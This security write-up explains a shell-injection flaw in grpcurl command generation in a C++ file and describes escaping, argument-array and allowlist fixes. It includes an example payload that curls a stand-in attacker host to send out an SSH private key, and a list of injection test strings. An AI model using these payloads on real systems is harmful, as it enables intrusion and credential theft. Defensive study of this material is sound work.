Shell Injection via Unsafe String Concatenation in gRPC Command Generation
Introduction
Imagine your application helpfully generates a ready-to-run grpcurl command for a user — a developer convenience feature that saves time and reduces errors. Now imagine that a malicious server can craft its API response to turn that helpful command into a weapon. That's exactly what this vulnerability enables.
This post breaks down a high-severity shell injection vulnerability found in src/RtlJaguarDevice.cpp, where gRPCurl command strings were assembled using raw string concatenation with values sourced directly from API responses. No escaping. No sanitization. Just raw interpolation — and a wide-open door for command injection.
Whether you're a seasoned systems programmer or a developer just starting to think about security, this class of vulnerability is critically important to understand. Shell injection is deceptively easy to introduce and devastatingly easy to exploit.
The Vulnerability Explained
What Is Shell Injection?
Shell injection (a subset of command injection, CWE-78) occurs when attacker-controlled data is incorporated into a shell command without proper escaping. The shell interprets special characters — like ;, |, $(), `, &, >, and < — as control operators, not data. If you don't neutralize these characters before building a command string, an attacker can break out of the intended command and execute arbitrary shell instructions.
What Was Happening Here
The vulnerable code in RtlJaguarDevice.cpp was generating grpcurl commands by concatenating strings like this (conceptually):
// VULNERABLE - Do not use this pattern
std::string command = "grpcurl -H 'Authorization: " + authHeader +
"' -d '" + requestData +
"' " + endpoint +
" " + serviceMethod;
The values authHeader, requestData, endpoint, and serviceMethod were all sourced from API responses — meaning a server the application communicated with could supply any string it wanted for these fields.
How an Attacker Exploits This
Consider what happens when a malicious server returns an Authorization header value like:
Bearer token123' ; curl https://attacker.com/exfil?data=$(cat ~/.ssh/id_rsa) ; echo '
The generated command would then look like:
grpcurl -H 'Authorization: Bearer token123' ; curl https://attacker.com/exfil?data=$(cat ~/.ssh/id_rsa) ; echo '' -d '...' endpoint service/Method
When the user pastes this into their terminal and presses Enter, three commands execute:
1. The grpcurl command (truncated, likely failing)
2. A curl exfiltrating the user's SSH private key to an attacker-controlled server
3. An echo to clean up the visual output
The attack is invisible in plain sight — the generated command looks like a normal grpcurl invocation.
Real-World Attack Scenario
Here's a realistic attack chain:
- Attacker controls or compromises a gRPC server that the target application communicates with.
- The server returns crafted values in response headers, endpoint URLs, or data payloads — specifically designed to inject shell metacharacters.
- The application generates a
grpcurlcommand using these values and displays it to the user (e.g., in a UI, log, or debug output). - The user — trusting the application — copies the command and runs it.
- Arbitrary commands execute in the user's shell context, potentially:
- Exfiltrating credentials or SSH keys
- Installing backdoors or malware
- Pivoting to internal network resources
- Destroying data
Why This Is Particularly Dangerous
What makes this vulnerability especially insidious is the trust chain it exploits:
- The user trusts the application to generate safe commands
- The application trusts the server's response data
- The server (if malicious) breaks that trust silently
There's no visible warning. No error. Just a command that looks legitimate but isn't.
Affected inputs included:
| Input Source | Example Field | Risk |
|---|---|---|
| API response headers | Authorization, custom headers | High |
| API response body | data payload | High |
| Service endpoint URL | host:port/path | High |
| Service/method name | package.Service/Method | Medium |
The Fix
The Core Principle: Never Trust External Data in Shell Contexts
The fix applies proper shell escaping to every user-controlled value before it is interpolated into the command string. The goal is to ensure that no matter what characters appear in the input, they are treated as data by the shell, never as control operators.
Shell Escaping Strategies
Option 1: Single-quote wrapping with inner quote escaping (POSIX)
In POSIX shells, a string wrapped in single quotes is treated as a literal — with one caveat: single quotes themselves cannot appear inside a single-quoted string. The safe approach is to:
1. Replace every ' in the value with '\'' (end quote, escaped quote, reopen quote)
2. Wrap the entire value in single quotes
// SAFE - Proper shell escaping helper
std::string ShellEscape(const std::string& input) {
std::string escaped = "'";
for (char c : input) {
if (c == '\'') {
escaped += "'\\''"; // End quote, backslash-quote, reopen quote
} else {
escaped += c;
}
}
escaped += "'";
return escaped;
}
// Usage in command generation
std::string command = "grpcurl -H " + ShellEscape("Authorization: " + authHeader) +
" -d " + ShellEscape(requestData) +
" " + ShellEscape(endpoint) +
" " + ShellEscape(serviceMethod);
Option 2: Use execv-style APIs instead of shell strings
Even better than escaping is avoiding the shell entirely. If the command is executed programmatically (not pasted by a user), use execv, execvp, or equivalent APIs that accept argument arrays:
// SAFER - No shell involved, no injection possible
std::vector<std::string> args = {
"grpcurl",
"-H", "Authorization: " + authHeader,
"-d", requestData,
endpoint,
serviceMethod
};
// Pass args directly to exec, bypassing shell interpretation entirely
When arguments are passed as an array to exec-family functions, the shell is never invoked, and metacharacters in the data have no special meaning.
Option 3: Validate and allowlist inputs
For fields with known formats (like endpoint URLs or service method names), apply strict validation:
// Validate endpoint format: host:port only
bool IsValidEndpoint(const std::string& endpoint) {
// Only allow hostname:port or IP:port patterns
static const std::regex valid_endpoint(
R"(^[a-zA-Z0-9._-]+:\d{1,5}$)"
);
return std::regex_match(endpoint, valid_endpoint);
}
// Validate gRPC method name: package.Service/Method
bool IsValidMethodName(const std::string& method) {
static const std::regex valid_method(
R"(^[a-zA-Z][a-zA-Z0-9_.]*\/[a-zA-Z][a-zA-Z0-9_]*$)"
);
return std::regex_match(method, valid_method);
}
Before and After: The Security Improvement
| Aspect | Before (Vulnerable) | After (Fixed) |
|---|---|---|
| Input handling | Raw concatenation | Shell-escaped or array-based |
| Shell metacharacters | Passed through unchanged | Neutralized before use |
| Attacker control | Full command injection | No shell interpretation of data |
| User safety | Commands may be weaponized | Commands are safe to run |
Prevention & Best Practices
1. Treat All External Data as Untrusted
Any value that originates outside your direct control — API responses, user input, environment variables, file contents, network data — must be treated as potentially hostile. This is the principle of least trust.
2. Use Parameterized APIs Over String Building
Wherever possible, use APIs that accept structured arguments rather than building shell strings:
// Prefer this (no shell)
execvp("grpcurl", argv_array);
// Over this (shell involved, injection risk)
system("grpcurl " + user_controlled_args);
3. Apply Context-Aware Escaping
Different contexts require different escaping:
- Shell context: Use single-quote wrapping or shlex.quote() (Python), shellescape libraries (Go/Rust/C++)
- HTML context: HTML entity encoding
- SQL context: Parameterized queries
- JSON context: Proper JSON serialization
Never write your own escaping from scratch — use well-tested library functions.
4. Validate Inputs with Allowlists
Prefer allowlist validation (only permit known-good patterns) over denylist validation (trying to block known-bad characters). Denylists are almost always incomplete.
5. Security Testing for Command Injection
Include these test cases in your security test suite:
SHELL_INJECTION_PAYLOADS = [
"'; id; echo '",
'"; id; echo "',
"`id`",
"$(id)",
"| id",
"; id",
"&& id",
"|| id",
"\nid\n",
"$(curl attacker.com)",
]
6. Use Static Analysis Tools
Several tools can catch shell injection vulnerabilities automatically:
- Semgrep — rules for detecting unsafe
system(),popen(), and string concatenation patterns - CodeQL — taint tracking from external sources to shell execution sinks
- Coverity — commercial static analysis with command injection detection
- Flawfinder — lightweight C/C++ security scanner
7. Security Standards References
This vulnerability maps to well-known security standards:
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
- OWASP Top 10 - A03:2021: Injection
- OWASP Testing Guide: Testing for Command Injection (OTG-INPVAL-013)
A Note on the Regression Test
The PR includes a regression test that validates a related security invariant: protected endpoints must reject unauthenticated requests. While this test is written against a mock HTTP server rather than the exact code path, it encodes an important principle — authentication gates must hold regardless of what payload is submitted.
The test covers adversarial authentication bypass attempts including:
- Missing authentication headers
- Expired or tampered JWT tokens
- Algorithm confusion attacks (alg: none)
- SQL injection in token values
- Path traversal attempts
- Null bytes and Unicode tricks
This kind of adversarial test suite is exactly what security-conscious teams should maintain. Even when a test doesn't map 1:1 to the vulnerability being fixed, it builds a safety net that catches regressions and documents security expectations explicitly.
Conclusion
Shell injection through unsafe string concatenation is a classic vulnerability that continues to appear in modern codebases — often in "helper" or "convenience" code that generates commands for users. The pattern is seductive: it's simple, readable, and works perfectly when inputs are well-behaved. But the moment attacker-controlled data enters the picture, it becomes a loaded weapon.
The key takeaways from this vulnerability:
- Never concatenate external data into shell command strings without proper escaping
- Prefer array-based execution APIs that bypass the shell entirely
- Validate inputs with allowlists for fields with known formats
- Test with adversarial payloads — assume attackers will try to break your escaping
- Use static analysis to catch these patterns before they reach production
Security vulnerabilities like this one are a reminder that the most dangerous code is often the code that almost works correctly. A command generator that works for 99.9% of inputs and catastrophically fails for 0.1% is not a secure command generator.
Write code that's safe for the 0.1% — because that's exactly where attackers will focus.
This vulnerability was identified and fixed as part of a security audit of src/RtlJaguarDevice.cpp. If you maintain code that generates shell commands from external data, now is a good time to audit it.